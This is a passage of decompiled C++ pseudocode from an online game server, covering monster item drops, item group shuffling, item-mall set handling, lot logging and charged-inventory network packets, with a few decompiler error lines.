-------------------------------------------------------- void __thiscall ItemDropFromMob::DropIndexCluster::dic_ItemDrop(ItemDropFromMob::DropIndexCluster *this, #325 *attacker, MobDataBox::MobDataBoxIndex *mobdata, #803 *a4, char victim, unsigned int loot_party, unsigned int loot_handle) { ItemDropFromMob::DropIndexCluster *v7; // edi@1 signed int v8; // ebx@1 char *v9; // [sp-10h] [bp-BCh]@10 FunctionEntarance thisa; // [sp+0h] [bp-ACh]@8 FunctionEntarance _; // [sp+4h] [bp-A8h]@1 ORToken regengroup; // [sp+8h] [bp-A4h]@6 char buffer[128]; // [sp+1Ch] [bp-90h]@8 unsigned int v14; // [sp+9Ch] [bp-10h]@13 int v15; // [sp+A4h] [bp-8h]@8 int v16; // [sp+A8h] [bp-4h]@1 v7 = this; _.fe_FunctionCode = "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"; v8 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v16 = 0; if ( !mobdata || !mobdata->data || mobdata->data->ID >= MobDataBox::operator int(&mobdatabox) ) { v9 = "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"; goto LABEL_12; } if ( !attacker ) { LABEL_10: v9 = "ItemDropFromMob::DropIndexCluster::dic_ItemDrop"; LABEL_12: --funcallanalizer.fca_stackpoint; v16 = v8; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v9); goto LABEL_13; } if ( !victim ) { v8 = -1; goto LABEL_10; } ORToken::ORToken(®engroup, (const char *)&stru_5A4E3C.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit); if ( a4 ) MobRegenClass::MobBreeder::mb_RegenGroupIndex((void *)a4, (int)®engroup); ORToken::ort_GetString(®engroup, buffer); ItemDropFromMob::DropItemListForSpecies::dilfs_ItemDrop( &v7->dic_DropItemBySpecies[mobdata->data->ID], ®engroup, attacker, victim, loot_party, loot_handle); v15 = -1; FunctionEntarance::_FunctionEntarance(&thisa); LABEL_13: __security_check_cookie(v14); } //----- (0046ABF0) -------------------------------------------------------- void __thiscall ItemDataBox::idb_iter_home(ItemDataBox *this, unsigned int *pnt) { *pnt = 0; } //----- (0046AC00) -------------------------------------------------------- char __thiscall ItemDataBox::idb_iter_next(ItemDataBox *this, unsigned int *pnt) { unsigned int v2; // edx@1 v2 = *pnt + 1; *pnt = v2; return v2 < this->idb_Itemspacies; } //----- (0046AC20) -------------------------------------------------------- unsigned __int16 __thiscall ItemDataBox::idb_iter_Get(ItemDataBox *this, unsigned int *pnt) { unsigned __int16 result; // ax@2 if ( *pnt < this->idb_Itemspacies ) result = BinaryDataBox::operator__((BinaryDataBox *)&this->idb_BinData, *pnt)->ID; else result = -1; return result; } //----- (0046AC50) -------------------------------------------------------- void __thiscall ItemGroupClassifier::ItemGroupClassifier(ItemGroupClassifier *this) { ItemGroupClassifier *v1; // esi@1 v1 = this; BTree::BTree(&this->igc_btree); _eh_vector_constructor_iterator_( v1->igc_itemgroup, 0x20u, 1000, (void (__thiscall *)(void *))CardDeck::CardStack::CardStack, (void (__thiscall *)(void *))CardDeck::CardStack::_CardStack); } //----- (0046ACB0) -------------------------------------------------------- void __thiscall ItemGroupClassifier::_ItemGroupClassifier(ItemGroupClassifier *this) { BTree *v1; // esi@1 v1 = (BTree *)this; _eh_vector_destructor_iterator_( this->igc_itemgroup, 0x20u, 1000, (void (__thiscall *)(void *))CardDeck::CardStack::_CardStack); BTree::_BTree(v1); } //----- (0046AD10) -------------------------------------------------------- void __thiscall ItemGroupClassifier::igc_Store(ItemGroupClassifier *this, unsigned __int16 itmid, char *dropgroup) { ItemGroupClassifier *v3; // edi@1 unsigned int v4; // esi@3 int v5; // eax@7 CardDeck::CardStack *v6; // esi@11 v3 = this; if ( *dropgroup && *dropgroup != 45 ) { v4 = BTree::operator__(&this->igc_btree, dropgroup); if ( v4 == -1 ) { v5 = v3->igc_point; if ( (unsigned int)v5 >= 0x3E8 ) { AssertClass::ac_AssertFail(&shineassert, "ItemGroupClassifier::igc_Load : Too many groups", v5); ShineExit("ItemGroupClassifier::igc_Store"); } v4 = v3->igc_point; v3->igc_point = v4 + 1; BTree::bt_Insert(&v3->igc_btree, dropgroup, v4); } else { if ( v4 >= v3->igc_point ) { AssertClass::ac_AssertFail(&shineassert, "ItemGroupClassifier::igc_Load : invalid index", v4); ShineExit("ItemGroupClassifier::igc_Store"); } } v6 = &v3->igc_itemgroup[v4]; CardDeck::CardStack::cs_InsertTop(v6, itmid); CardDeck::CardStack::cs_Suffle(v6, 1); } } //----- (0046ADE0) -------------------------------------------------------- int __thiscall CardDeck::CardStack::cs_CardNum(CardDeck::CardStack *this) { return this->cs_deck.l_ListNum; } //----- (0046ADF0) -------------------------------------------------------- unsigned __int16 __thiscall CardDeck::CardStack::cs_TakeTop(CardDeck::CardStack *this, unsigned int *card) { ListStruct *v2; // edx@1 unsigned __int16 v3; // ax@1 int v4; // eax@2 unsigned int *v5; // esi@3 unsigned __int16 result; // ax@4 int li; // [sp+0h] [bp-4h]@1 HIWORD(li) = HIWORD(this); v2 = this->cs_deck.l_Array; v3 = v2[this->cs_deck.l_Finger.store].ls_Next; if ( v3 < this->cs_deck.l_MaxSize && (v4 = (int)&v2[v3], *(_BYTE *)(v4 + 8)) && (v5 = *(unsigned int **)v4) != 0 ) { LOWORD(li) = v2[this->cs_deck.l_Finger.store].ls_Next; ((void (__stdcall *)(int))this->cs_deck.vfptr->l_Free)(li); *card = *v5; result = 1; } else { result = 0; } return result; } //----- (0046AE50) -------------------------------------------------------- void __thiscall ItemGroupClassifier::igc_Load(ItemGroupClassifier *this) { unsigned int v1; // ebp@1 ItemGroupClassifier *v2; // ebx@1 signed __int16 i; // di@2 int v4; // esi@5 unsigned __int16 v5; // cx@7 v1 = 0; v2 = this; this->igc_point = 0; if ( itemdatabox.idb_Itemspacies > 0 ) goto LABEL_3; for ( i = -1; ; i = BinaryDataBox::operator__(&stru_12573DF4, v1)->ID ) { if ( (unsigned __int16)i < (unsigned int)dword_125739EC ) { v4 = dword_12574188 + 28 * (unsigned __int16)i; if ( v4 ) { if ( *(_DWORD *)v4 ) { v5 = **(_WORD **)v4; if ( v5 == i ) goto LABEL_10; AssertClass::ac_AssertFail( &shineassert, "ItemDataBox::operator [] :Invalid Item index", v5 + 10000 * (unsigned __int16)i); } } } v4 = 0; LABEL_10: ItemGroupClassifier::igc_Store(v2, i, (char *)(*(_DWORD *)(v4 + 4) + 66)); ItemGroupClassifier::igc_Store(v2, i, (char *)(*(_DWORD *)(v4 + 4) + 106)); ++v1; if ( v1 >= itemdatabox.idb_Itemspacies ) break; LABEL_3: ; } } // 125739EC: using guessed type int dword_125739EC; // 12574188: using guessed type int dword_12574188; //----- (0046AF00) -------------------------------------------------------- unsigned __int16 __thiscall ItemGroupClassifier::igc_Getitem(ItemGroupClassifier *this, char *str, unsigned int clsmask) { ItemGroupClassifier *v3; // edi@1 char *v4; // ebx@1 unsigned int v5; // eax@1 unsigned __int16 v6; // si@1 unsigned int v7; // eax@3 bool v8; // zf@4 int v9; // ebx@7 CardDeck::CardStack *v10; // edi@7 unsigned int v11; // ebp@7 ItemDataBox::ItemDataBoxIndex *v12; // eax@9 unsigned __int16 result; // ax@15 const char *v14; // [sp-18h] [bp-28h]@13 int v15; // [sp-14h] [bp-24h]@13 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemGroupClassifier::igc_Getitem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemGroupClassifier::igc_Getitem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = str; v5 = BTree::operator__(&stru_125739F0, str); v6 = v5; if ( v5 != -1 && (_WORD)v5 != -1 ) { LABEL_17: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_Getitem"); result = v6; } else { v7 = BTree::operator__(&v3->igc_btree, v4); if ( v7 != -1 ) { v8 = v7 >= v3->igc_point; str = (char *)(v7 < v3->igc_point); if ( v8 ) { AssertClass::ac_AssertFail(&shineassert, "ItemGroupClassifier::operator [] : Invalid group name", v4); } else { v9 = (int)((char *)v3 + 32 * v7); v10 = (CardDeck::CardStack *)(v9 + 1028); CardDeck::CardStack::cs_Suffle((CardDeck::CardStack *)(v9 + 1028), 1); v11 = 0; if ( *(_WORD *)(v9 + 1048) ) { while ( 1 ) { if ( !CardDeck::CardStack::cs_TakeTop(v10, (unsigned int *)&str) ) { v15 = 0; v14 = "ItemGroupClassifier::operator [] : Empty card stack"; goto LABEL_14; } v6 = (unsigned __int16)str; CardDeck::CardStack::cs_InsertBottom(v10, (unsigned int)str); v12 = ItemDataBox::operator__(&itemdatabox, v6); if ( !v12 ) break; if ( clsmask & v12->data->WhoEquip ) goto LABEL_17; ++v11; if ( v11 >= *(_WORD *)(v9 + 1048) ) goto LABEL_15; } v15 = v6; v14 = "ItemGroupClassifier::igc_Getitem : Invalid Item"; LABEL_14: AssertClass::ac_AssertFail(&shineassert, v14, v15); } } } LABEL_15: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_Getitem"); result = -1; } return result; } //----- (0046B0B0) -------------------------------------------------------- char __thiscall ItemGroupClassifier::igc_ChargedDuringUse(ItemGroupClassifier *this, ItemAttributeClass *iac, ItemTotalInformation *iti) { int v3; // eax@1 int v4; // eax@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemGroupClassifier::igc_ChargedDuringUse"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemGroupClassifier::igc_ChargedDuringUse"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = ((int (__stdcall *)(_DWORD))iac->vfptr->iac_GetDeteleDateTime)(&iti->iti_itemstruct); if ( v3 && (v4 = *(_DWORD *)v3 & 0xFF) != 0 && v4 != 255 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_ChargedDuringUse"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemGroupClassifier::igc_ChargedDuringUse"); result = 0; } return result; } //----- (0046B190) -------------------------------------------------------- int __cdecl ShineObjectClass::ShinePlayer::sp_CalcTotalLot(ItemBag *bag, unsigned __int16 itemid) { int v2; // esi@1 int result; // eax@3 int v4; // eax@4 ItemBoxIterIdent ibii; // [sp+8h] [bp-20h]@1 int v6; // [sp+24h] [bp-4h]@1 ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)ItemBoxIterator::_vftable_; ibii.baseclass_0.ibi_itembag = bag; v2 = 0; ibii.baseclass_0.ibi_Limit = ((int (*)(void))bag->vfptr->ib_BagSizeOutput)(); ibii.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterIdent::_vftable_; ibii.ibii_ident = itemid; v6 = 0; ibii.baseclass_0.ibi_finger = 0; if ( (unsigned __int8)ItemBoxIterIdent::_vftable_(&ibii) || ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ) { do { v4 = ((int (__stdcall *)(int))ibii.baseclass_0.ibi_itembag->vfptr->ib_GetInventoryCell)(ibii.baseclass_0.ibi_finger); v2 += (*(int (__stdcall **)(int))(**(_DWORD **)(v4 + 112) + 24))(v4 + 8); } while ( ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ); result = v2; } else { result = 0; } return result; } // 5A87E0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 5A87EC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (0046B250) -------------------------------------------------------- ItemLotInspector *__cdecl ShineObjectClass::ShineObject::so_ply_GetItemLotInspector() { return &ShineObjectClass::ShineObject::so_ItemLotInspector; } //----- (0046B260) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_GetItemLotInspector(void *this) { return (int)((char *)this + 7392); } //----- (0046B270) -------------------------------------------------------- void __thiscall ItemLotInspector::ItemLotInspector(ItemLotInspector *this) { ItemLotInspector *v1; // eax@1 unsigned int v2; // esi@1 char *v3; // ecx@1 v1 = this; this->ili_ArrayPointer.mask = 63; this->ili_ArrayPointer.value = 0; v2 = this->ili_ArrayPointer.mask; this->ili_ArrayPointer.value = v2 & 1; v3 = &this->gap4[248 * (v2 & 1)]; v1->ili_Action = 0; *((_WORD *)v3 + 2) = -1; v3[228] = 0; v3[220] = 0; v3[112] = 0; v3[6] = 0; } //----- (0046B2C0) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_Clear(ItemLotInspector *this) { char *v1; // eax@1 signed int v2; // ecx@1 v1 = this->gap4; v2 = 64; do { *((_WORD *)v1 + 2) = -1; *(_DWORD *)v1 = 0; v1 += 248; --v2; } while ( v2 ); } //----- (0046B2F0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_ply_CalcTotalLot(int this, unsigned __int16 itemid, int isstoragecount, char first) { int v4; // esi@1 int v5; // edi@1 int result; // eax@3 v4 = this; v5 = ShineObjectClass::ShinePlayer::sp_CalcTotalLot((ItemBag *)(this + 35536), itemid); if ( first ) { if ( *(_BYTE *)(v4 + 23280) & 0x10 ) { result = ShineObjectClass::ShinePlayer::sp_CalcTotalLot((ItemBag *)(v4 + 69432), itemid) + v5; *(_BYTE *)isstoragecount = 1; } else { *(_BYTE *)isstoragecount = 0; result = v5; } } else { if ( *(_BYTE *)isstoragecount ) v5 += ShineObjectClass::ShinePlayer::sp_CalcTotalLot((ItemBag *)(v4 + 69432), itemid); result = v5; } return result; } //----- (0046B370) -------------------------------------------------------- void __thiscall ItemLotInspector::ili_History(ItemLotInspector *this) { ItemLotInspector *v1; // esi@1 unsigned int v2; // eax@1 DebugLogging *v3; // edi@3 _iobuf *v4; // eax@5 DebugLogging *v5; // edi@7 _iobuf *v6; // eax@9 DebugLogging *v7; // ebp@11 _iobuf *v8; // eax@13 DebugLogging *v9; // ebp@15 _iobuf *v10; // eax@17 DebugLogging *v11; // ebp@19 _iobuf *v12; // eax@21 DebugLogging *v13; // edi@23 _iobuf *v14; // eax@25 DebugLogging *v15; // ebp@27 _iobuf *v16; // eax@29 DebugLogging *v17; // ebp@31 _iobuf *v18; // eax@33 DebugLogging *v19; // ebp@35 _iobuf *v20; // eax@37 DebugLogging *v21; // edi@39 _iobuf *v22; // eax@41 DebugLogging *v23; // ebp@43 _iobuf *v24; // eax@45 DebugLogging *v25; // ebp@47 _iobuf *v26; // eax@49 DebugLogging *v27; // ebp@51 _iobuf *v28; // eax@53 DebugLogging *v29; // ebp@55 _iobuf *v30; // eax@57 DebugLogging *v31; // ebp@59 _iobuf *v32; // eax@61 DebugLogging *v33; // ebp@63 _iobuf *v34; // eax@65 DebugLogging *v35; // edi@67 _iobuf *v36; // eax@69 DebugLogging *v37; // edi@71 _iobuf *v38; // eax@73 DebugLogging *v39; // esi@75 _iobuf *v40; // eax@77 DebugLogging *v41; // esi@79 _iobuf *v42; // eax@82 bool v43; // sf@83 unsigned __int8 v44; // of@83 int k; // [sp+0h] [bp-20h]@1 int sub; // [sp+Ch] [bp-14h]@3 unsigned int sub_4; // [sp+10h] [bp-10h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ItemLotInspector::ili_History"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ItemLotInspector::ili_History"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->ili_ArrayPointer.value; sub_4 = v1->ili_ArrayPointer.mask; k = 0; while ( 1 ) { sub = sub_4 & (v2 + 1); v3 = DebugLogging::operator<<(&ItemMSLog, "\t"); if ( DebugLogging::dl_ActivAll ) { if ( v3->dl_Activ ) { DebugLogging::dl_FilePoint(v3); v4 = v3->dl_FilePointer; if ( v4 ) fprintf(v4, "%d"); } } v5 = DebugLogging::operator<<(v3, " Act["); if ( DebugLogging::dl_ActivAll ) { if ( v5->dl_Activ ) { DebugLogging::dl_FilePoint(v5); v6 = v5->dl_FilePointer; if ( v6 ) fprintf(v6, "%d"); } } v7 = DebugLogging::operator<<(v5, "] From0["); if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v8 = v7->dl_FilePointer; if ( v8 ) fprintf(v8, "%d"); } } v9 = DebugLogging::operator<<(v7, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v9->dl_Activ ) { DebugLogging::dl_FilePoint(v9); v10 = v9->dl_FilePointer; if ( v10 ) fprintf(v10, "%d"); } } v11 = DebugLogging::operator<<(v9, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v11->dl_Activ ) { DebugLogging::dl_FilePoint(v11); v12 = v11->dl_FilePointer; if ( v12 ) fprintf(v12, "%d"); } } v13 = DebugLogging::operator<<(v11, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v13->dl_Activ ) { DebugLogging::dl_FilePoint(v13); v14 = v13->dl_FilePointer; if ( v14 ) fprintf(v14, "%d"); } } v15 = DebugLogging::operator<<(v13, "] From1["); if ( DebugLogging::dl_ActivAll ) { if ( v15->dl_Activ ) { DebugLogging::dl_FilePoint(v15); v16 = v15->dl_FilePointer; if ( v16 ) fprintf(v16, "%d"); } } v17 = DebugLogging::operator<<(v15, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v17->dl_Activ ) { DebugLogging::dl_FilePoint(v17); v18 = v17->dl_FilePointer; if ( v18 ) fprintf(v18, "%d"); } } v19 = DebugLogging::operator<<(v17, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v19->dl_Activ ) { DebugLogging::dl_FilePoint(v19); v20 = v19->dl_FilePointer; if ( v20 ) fprintf(v20, "%d"); } } v21 = DebugLogging::operator<<(v19, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v21->dl_Activ ) { DebugLogging::dl_FilePoint(v21); v22 = v21->dl_FilePointer; if ( v22 ) fprintf(v22, "%d"); } } v23 = DebugLogging::operator<<(v21, "] To0["); if ( DebugLogging::dl_ActivAll ) { if ( v23->dl_Activ ) { DebugLogging::dl_FilePoint(v23); v24 = v23->dl_FilePointer; if ( v24 ) fprintf(v24, "%d"); } } v25 = DebugLogging::operator<<(v23, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v25->dl_Activ ) { DebugLogging::dl_FilePoint(v25); v26 = v25->dl_FilePointer; if ( v26 ) fprintf(v26, "%d"); } } v27 = DebugLogging::operator<<(v25, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v27->dl_Activ ) { DebugLogging::dl_FilePoint(v27); v28 = v27->dl_FilePointer; if ( v28 ) fprintf(v28, "%d"); } } v29 = DebugLogging::operator<<(v27, "] To1["); if ( DebugLogging::dl_ActivAll ) { if ( v29->dl_Activ ) { DebugLogging::dl_FilePoint(v29); v30 = v29->dl_FilePointer; if ( v30 ) fprintf(v30, "%d"); } } v31 = DebugLogging::operator<<(v29, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v31->dl_Activ ) { DebugLogging::dl_FilePoint(v31); v32 = v31->dl_FilePointer; if ( v32 ) fprintf(v32, "%d"); } } v33 = DebugLogging::operator<<(v31, ":"); if ( DebugLogging::dl_ActivAll ) { if ( v33->dl_Activ ) { DebugLogging::dl_FilePoint(v33); v34 = v33->dl_FilePointer; if ( v34 ) fprintf(v34, "%d"); } } v35 = DebugLogging::operator<<(v33, "] MoveLot["); if ( DebugLogging::dl_ActivAll ) { if ( v35->dl_Activ ) { DebugLogging::dl_FilePoint(v35); v36 = v35->dl_FilePointer; if ( v36 ) fprintf(v36, "%d"); } } v37 = DebugLogging::operator<<(v35, "] TotalLot["); if ( DebugLogging::dl_ActivAll ) { if ( v37->dl_Activ ) { DebugLogging::dl_FilePoint(v37); v38 = v37->dl_FilePointer; if ( v38 ) fprintf(v38, "%d"); } } v39 = DebugLogging::operator<<(v37, (char *)&stru_5AB5B0); if ( DebugLogging::dl_ActivAll ) { if ( v39->dl_Activ ) { DebugLogging::dl_FilePoint(v39); v40 = v39->dl_FilePointer; if ( v40 ) fprintf(v40, "%d"); } } v41 = DebugLogging::operator<<(v39, (char *)&stru_5A8D60); if ( DebugLogging::dl_ActivAll && v41->dl_Activ && v41->dl_FilePointer ) { v42 = DebugLogging::dl_FilePoint(v41); fputc(10, v42); fflush(v41->dl_FilePointer); fclose(v41->dl_FilePointer); v41->dl_FilePointer = 0; } v44 = __OFSUB__(k + 1, 64); v43 = k++ - 63 < 0; if ( !(v43 ^ v44) ) break; v2 = sub; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ItemLotInspector::ili_History"); } // 60194C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (0046BA10) -------------------------------------------------------- #error "46BA10: undefined or illegal type '#434' (funcsize=93)" //----- (0046BB80) -------------------------------------------------------- #error "46BB80: undefined or illegal type '#434' (funcsize=236)" //----- (0046BEA0) -------------------------------------------------------- #error "46BEA0: undefined or illegal type '#434' (funcsize=38)" //----- (0046BF30) -------------------------------------------------------- ItemMall::ItemSetList *__thiscall ItemMall::im_FindStruct(ItemMall *this, unsigned int code) { int v2; // esi@1 int v3; // eax@1 ItemMall *v4; // edx@2 ItemMall::ItemSetList *result; // eax@5 v2 = this->im_Goods; v3 = 0; if ( v2 <= 0 ) { LABEL_5: result = 0; } else { v4 = this; while ( v4->im_Booth[0].isl_Code != code ) { ++v3; v4 = (ItemMall *)((char *)v4 + 88); if ( v3 >= v2 ) goto LABEL_5; } result = (ItemMall::ItemSetList *)((char *)this + 88 * v3); } return result; } //----- (0046BF70) -------------------------------------------------------- void __thiscall ItemMall::im_AddSet(ItemMall *this, ItemMall::ItemSetList *isl, ItemShop *is) { unsigned int v3; // eax@4 if ( isl->isl_NumOfSet >= 10 ) { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B4DD8.maa_TargetSelect.targetlist.mam_Array[2].mts_EnemyAnalyzer, isl->isl_Code); ShineExit((char *)&stru_5B4DD8.maa_TargetSelect.targetlist.mam_Array[2]); } isl->isl_SetItem[isl->isl_NumOfSet].lot = is->Lot; v3 = BTree::operator__(&stru_125739F0, is->InxName); if ( v3 == -1 ) LOWORD(v3) = -1; isl->isl_SetItem[isl->isl_NumOfSet].item = v3; if ( isl->isl_SetItem[isl->isl_NumOfSet].item == -1 ) { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B4DD8.maa_TargetSelect.targetlist.mam_Array[1], is->InxName); ShineExit((char *)&stru_5B4DD8.maa_TargetSelect.targetlist.mam_Array[2]); } ++isl->isl_NumOfSet; } //----- (0046C010) -------------------------------------------------------- #error "46C010: undefined or illegal type '#434' (funcsize=24)" //----- (0046C060) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x3Du, 0x28u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0046C110) -------------------------------------------------------- void __thiscall ItemMall::im_NewSet(ItemMall *this, ItemShop *is) { ItemMall *v2; // esi@1 int v3; // edx@1 v2 = this; v3 = this->im_Goods; if ( v3 >= 8192 ) { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B4DD8.maa_TargetSelect.targetlist.mam_Array[5].mts_AggroPoint, v3 < 8192); ShineExit((char *)&stru_5B4DD8.maa_TargetSelect.targetlist.mam_Array[4].mts_EnemyAnalyzer.baseclass_0.io_Pointer); } this->im_Booth[this->im_Goods].isl_Code = is->goodsNo; this->im_Booth[this->im_Goods].isl_NumOfSet = 0; ItemMall::im_AddSet(this, (ItemMall::ItemSetList *)this + this->im_Goods, is); ++v2->im_Goods; } //----- (0046C190) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_ITEM_CHARGEDINVENOPEN_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char *v5; // edi@5 ZoneBaseSession *v6; // eax@7 char *v7; // [sp-10h] [bp-20h]@4 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5B4DD8.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5B4DD8.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S7_0 & 1) ) { _S7_0 |= 1u; cmc_43.cmc_AllowMode = 86; atexit(_E8_16); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_43.cmc_AllowMode ) { v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 13411; *((_WORD *)v5 + 1) = *((_WORD *)v4 + 2); *((_DWORD *)v5 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 836))(v4); *((_DWORD *)v5 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 840))(v4); *((_WORD *)v5 + 6) = 24 * *(_WORD *)(netcmd + 2); *((_WORD *)v5 + 7) = 24 * *(_WORD *)(netcmd + 2) + 23; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 16) ) { v6 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v6); } else { AssertClass::ac_AssertFail( &shineassert, (const char *)&stru_5B4DD8.maa_TargetSelect.targetlist.mam_Array[6].mts_EnemyAnalyzer.baseclass_0.io_Pointer, 16); } v7 = (char *)&stru_5B4DD8.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint; } else { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 12, 33, 4162); v7 = (char *)&stru_5B4DD8.maa_TargetSelect.targetlist.mam_Array[9].mts_AggroPoint; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); } //----- (0046C310) -------------------------------------------------------- #error "46C310: undefined or illegal type '#325' (funcsize=53)" //----- (0046C3F0) -------------------------------------------------------- #error "46C3F0: undefined or illegal type '#325' (funcsize=372)" //----- (0046C980) -------------------------------------------------------- #error "46C980: undefined or illegal type '#325' (funcsize=53)" //----- (0046CA60) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ChargedWithdraw(void *this, int withdraw) { void *v2; // esi@1 char *v3; // eax@1 int v4; // eax@3 int v5; // eax@5 int v6; // ST04_4@6 DebugLogging *v7; // eax@6 DebugLogging *v8; // eax@6 int v9; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5B4DD8.maa_MobActionStruct.attack); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5B4DD8.maa_MobActionStruct.attack; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 12323; *((_WORD *)v3 + 3) = *(_WORD *)(withdraw + 24); *(_DWORD *)(v3 + 2) = *((_DWORD *)v2 + 23031); *((_DWORD *)v2 + 23031) = -1; if ( ProtocolPacket::pp_SetPacketLen(&gpp, 8) ) { v4 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 764))(v2); (*(void (__thiscall **)(int, void *, ProtocolPacket *))(*(_DWORD *)v4 + 12))(v4, v2, &gpp); } else { AssertClass::ac_AssertFail(&shineassert, (const char *)&stru_5B4DD8.maa_TargetSelect.selector, 8); } if ( *(_WORD *)(withdraw + 24) == 4161 ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); if ( (unsigned __int8)(*(int (__thiscall **)(int, void *, _DWORD, _DWORD))(*(_DWORD *)v5 + 24))( v5, v2, *(_WORD *)(withdraw + 6), 0) ) { v9 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1916))(v2); (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v9 + 32))(v9, *(_WORD *)(withdraw + 6)); } else { v6 = *(_WORD *)(withdraw + 6); v7 = DebugLogging::operator<<( &LockIndexLog, (char *)&stru_5B4DD8.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer); v8 = DebugLogging::operator<<(v7, v6); DebugLogging::operator<<(v8, &deb_LF); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, (char *)&stru_5B4DD8.maa_MobActionStruct.attack); } //----- (0046CBC0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_FillChargedInven(void 